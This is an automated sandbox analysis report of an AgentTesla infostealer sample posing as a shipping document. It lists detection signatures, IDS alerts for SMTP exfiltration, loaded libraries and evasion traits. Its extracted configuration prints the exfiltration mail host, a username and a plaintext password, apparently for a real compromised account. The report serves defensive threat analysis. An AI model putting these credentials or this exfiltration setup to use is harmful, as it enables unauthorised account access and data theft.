Edit tour

Windows Analysis Report
SHIPPING DOC.exe

Overview

General Information

Sample name:	SHIPPING DOC.exe
Analysis ID:	1408227
MD5:	a53510c8abfed32dfb6f0765de3faf7b
SHA1:	3ea41317b78988a213ce66656b2b2d417ea3626e
SHA256:	4b39adbf8d3a4e2a5793014b4af4a4cb98d3a71c4a565dd20dc3a69928a84c72
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SHIPPING DOC.exe (PID: 7668 cmdline: C:\Users\user\Desktop\SHIPPING DOC.exe MD5: A53510C8ABFED32DFB6F0765DE3FAF7B)

SHIPPING DOC.exe (PID: 7736 cmdline: C:\Users\user\Desktop\SHIPPING DOC.exe MD5: A53510C8ABFED32DFB6F0765DE3FAF7B)

SHIPPING DOC.exe (PID: 7744 cmdline: C:\Users\user\Desktop\SHIPPING DOC.exe MD5: A53510C8ABFED32DFB6F0765DE3FAF7B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.elec-qatar.com", "Username": "mohammed.abrar@elec-qatar.com", "Password": "MHabrar2019@#"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2478143113.000000000332E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SHIPPING DOC.exe PID: 7668	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SHIPPING DOC.exe PID: 7668	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SHIPPING DOC.exe PID: 7744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SHIPPING DOC.exe PID: 7744	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.SHIPPING DOC.exe.3e3b508.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SHIPPING DOC.exe.3e3b508.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SHIPPING DOC.exe.3e3b508.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316c3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31735:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317bf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31851:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318bb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3192d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319c3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a53:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.SHIPPING DOC.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.SHIPPING DOC.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.SHIPPING DOC.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334c3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33535:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335bf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33651:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336bb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3372d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337c3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33853:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SHIPPING DOC.exe.3e00ae8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SHIPPING DOC.exe.3e00ae8.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SHIPPING DOC.exe.3e00ae8.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316c3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31735:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317bf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31851:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318bb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3192d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319c3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a53:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334c3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dce3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33535:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd55:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335bf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dddf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33651:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de71:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336bb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6dedb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3372d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df4d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337c3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6dfe3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33853:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e073:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334c3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dee3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa8703:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33535:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6df55:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa8775:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335bf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dfdf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa87ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33651:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e071:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8891:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336bb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e0db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa88fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3372d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e14d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa896d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337c3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e1e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa8a03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 50.87.139.143, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\SHIPPING DOC.exe, Initiated: true, ProcessId: 7744, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49704

Snort Signatures

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454453
SID:	2840032
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454453
SID:	2855542
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454453
SID:	2855245
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454308
SID:	2030171
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454308
SID:	2839723
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.10 - Destination IP: 50.87.139.143

Timestamp:	03/13/24-14:12:59.454453
SID:	2851779
Source Port:	49704
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SHIPPING DOC.exe

Avira: detected

Found malware configuration

Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.elec-qatar.com", "Username": "mohammed.abrar@elec-qatar.com", "Password": "MHabrar2019@#"}

Multi AV Scanner detection for submitted file

Source: SHIPPING DOC.exe	ReversingLabs: Detection: 34%
Source: SHIPPING DOC.exe	Virustotal: Detection: 41%			Perma Link

Machine Learning detection for sample

Source: SHIPPING DOC.exe

Joe Sandbox ML: detected

Source: SHIPPING DOC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SHIPPING DOC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.10:49704 -> 50.87.139.143:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.10:49704 -> 50.87.139.143:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.10:49704 -> 50.87.139.143:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.10:49704 -> 50.87.139.143:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.10:49704 -> 50.87.139.143:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.10:49704 -> 50.87.139.143:587

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.10:49704 -> 50.87.139.143:587

Source: Joe Sandbox View

IP Address: 50.87.139.143 50.87.139.143

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: global traffic

TCP traffic: 192.168.2.10:49704 -> 50.87.139.143:587

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: mail.elec-qatar.com

Source: SHIPPING DOC.exe, 00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.elec-qatar.com
Source: SHIPPING DOC.exe, 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, SHIPPING DOC.exe, 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, NmHr1WHWKO.cs	.Net Code: IiB
Source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, NmHr1WHWKO.cs	.Net Code: IiB

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.SHIPPING DOC.exe.3e3b508.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.SHIPPING DOC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_029BD7E4	1_2_029BD7E4
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050C7300	1_2_050C7300
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050C0508	1_2_050C0508
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050C0518	1_2_050C0518
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050C72F0	1_2_050C72F0
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030E96E0	3_2_030E96E0
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030E9B30	3_2_030E9B30
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030E4A98	3_2_030E4A98
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030E3E80	3_2_030E3E80
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030ECDA8	3_2_030ECDA8
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 3_2_030E41C8	3_2_030E41C8

Source: SHIPPING DOC.exe, 00000001.00000002.1231942494.00000000060A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000001.00000000.1216146918.000000000083A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamefmnc.exe2 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000001.00000002.1228718899.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000001.00000002.1229479240.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameecf3ed1c-5c3b-4038-87a8-401c6c5075d4.exe4 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameecf3ed1c-5c3b-4038-87a8-401c6c5075d4.exe4 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000003.00000002.2476201135.00000000012F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe, 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameecf3ed1c-5c3b-4038-87a8-401c6c5075d4.exe4 vs SHIPPING DOC.exe
Source: SHIPPING DOC.exe	Binary or memory string: OriginalFilenamefmnc.exe2 vs SHIPPING DOC.exe

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: SHIPPING DOC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.SHIPPING DOC.exe.3e3b508.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.SHIPPING DOC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SHIPPING DOC.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, ISZbPXDvPz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, ISZbPXDvPz.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, nAXAT51m.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, nAXAT51m.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, nAXAT51m.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, nAXAT51m.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, YpS.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, YpS.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, OEMNn1OrrVjtqpxfs0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, OEMNn1OrrVjtqpxfs0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: _0020.SetAccessControl
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
